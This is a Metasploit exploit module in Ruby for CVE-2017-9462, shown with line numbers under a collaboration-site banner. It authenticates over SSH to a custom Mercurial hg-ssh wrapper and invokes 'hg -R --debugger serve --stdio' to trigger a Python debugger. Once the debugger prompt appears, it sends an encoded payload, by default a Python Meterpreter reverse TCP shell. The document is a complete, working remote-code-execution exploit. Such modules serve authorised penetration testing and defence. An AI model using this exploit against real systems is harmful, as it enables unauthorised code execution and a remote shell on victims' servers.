Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = ExcellentRanking
8

9
  include Msf::Exploit::Remote::SSH
10

11
  def initialize(info = {})
12
    super(
13
      update_info(
14
        info,
15
        'Name' => 'Mercurial Custom hg-ssh Wrapper Remote Code Exec',
16
        'Description' => %q{
17
          This module takes advantage of custom hg-ssh wrapper implementations that don't
18
          adequately validate parameters passed to the hg binary, allowing users to trigger a
19
          Python Debugger session, which allows arbitrary Python code execution.
20
        },
21
        'License' => MSF_LICENSE,
22
        'Author' => [
23
          'claudijd',
24
        ],
25
        'References' => [
26
          [ 'CVE', '2017-9462' ],
27
          ['URL', 'https://www.mercurial-scm.org/wiki/WhatsNew#Mercurial_4.1.3_.282017-4-18.29']
28
        ],
29
        'DefaultOptions' => {
30
          'Payload' => 'python/meterpreter/reverse_tcp'
31
        },
32
        'Platform' => ['python'],
33
        'Arch' => ARCH_PYTHON,
34
        'Targets' => [ ['Automatic', {}] ],
35
        'Privileged' => false,
36
        'DisclosureDate' => '2017-04-18',
37
        'DefaultTarget' => 0,
38
        'Notes' => {
39
          'Stability' => [CRASH_SAFE],
40
          'Reliability' => [REPEATABLE_SESSION],
41
          'SideEffects' => []
42
        }
43
      )
44
    )
45

46
    register_options(
47
      [
48
        Opt::RHOST(),
49
        Opt::RPORT(22),
50
        OptString.new('USERNAME', [ true, 'The username for authentication', 'root' ]),
51
        OptPath.new('SSH_PRIV_KEY_FILE', [ true, 'The path to private key for ssh auth', '' ]),
52
      ]
53
    )
54

55
    register_advanced_options(
56
      [
57
        OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
58
        OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
59
      ]
60
    )
61
  end
62

63
  def rhost
64
    datastore['RHOST']
65
  end
66

67
  def rport
68
    datastore['RPORT']
69
  end
70

71
  def username
72
    datastore['USERNAME']
73
  end
74

75
  def ssh_priv_key
76
    File.read(datastore['SSH_PRIV_KEY_FILE'])
77
  end
78

79
  def exploit
80
    ssh_options = ssh_client_defaults.merge({
81
      auth_methods: ['publickey'],
82
      key_data: [ ssh_priv_key ],
83
      port: rport
84
    })
85

86
    ssh_options.merge!(verbose: :debug) if datastore['SSH_DEBUG']
87

88
    print_status("#{rhost}:#{rport} - Attempting to login...")
89

90
    begin
91
      ssh = nil
92
      ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
93
        ssh = Net::SSH.start(rhost, username, ssh_options)
94
      end
95
    rescue Rex::ConnectionError
96
      return
97
    rescue Net::SSH::Disconnect, ::EOFError
98
      print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
99
      return
100
    rescue ::Timeout::Error
101
      print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
102
      return
103
    rescue Net::SSH::AuthenticationFailed
104
      print_error "#{rhost}:#{rport} SSH - Failed authentication due wrong credentials."
105
    rescue Net::SSH::Exception => e
106
      print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
107
      return
108
    end
109
    # rubocop:disable Lint/ShadowingOuterLocalVariable
110
    if ssh
111
      print_good('SSH connection is established.')
112
      ssh.open_channel do |ch|
113
        ch.exec 'hg -R --debugger serve --stdio' do |ch, _success|
114
          ch.on_extended_data do |ch, _type, data|
115
            if data.match(/entering debugger/)
116
              print_good("Triggered Debugger (#{data})")
117
              ch.send_data "#{payload.encoded}\n"
118
            else
119
              print_error("Unable to trigger debugger (#{data})")
120
            end
121
          end
122
        end
123
      end
124
      # rubocop:enable Lint/ShadowingOuterLocalVariable
125
      begin
126
        ssh.loop unless session_created?
127
      rescue Errno::EBADF => e
128
        elog(e)
129
      end
130
    end
131
  end
132
end
133

134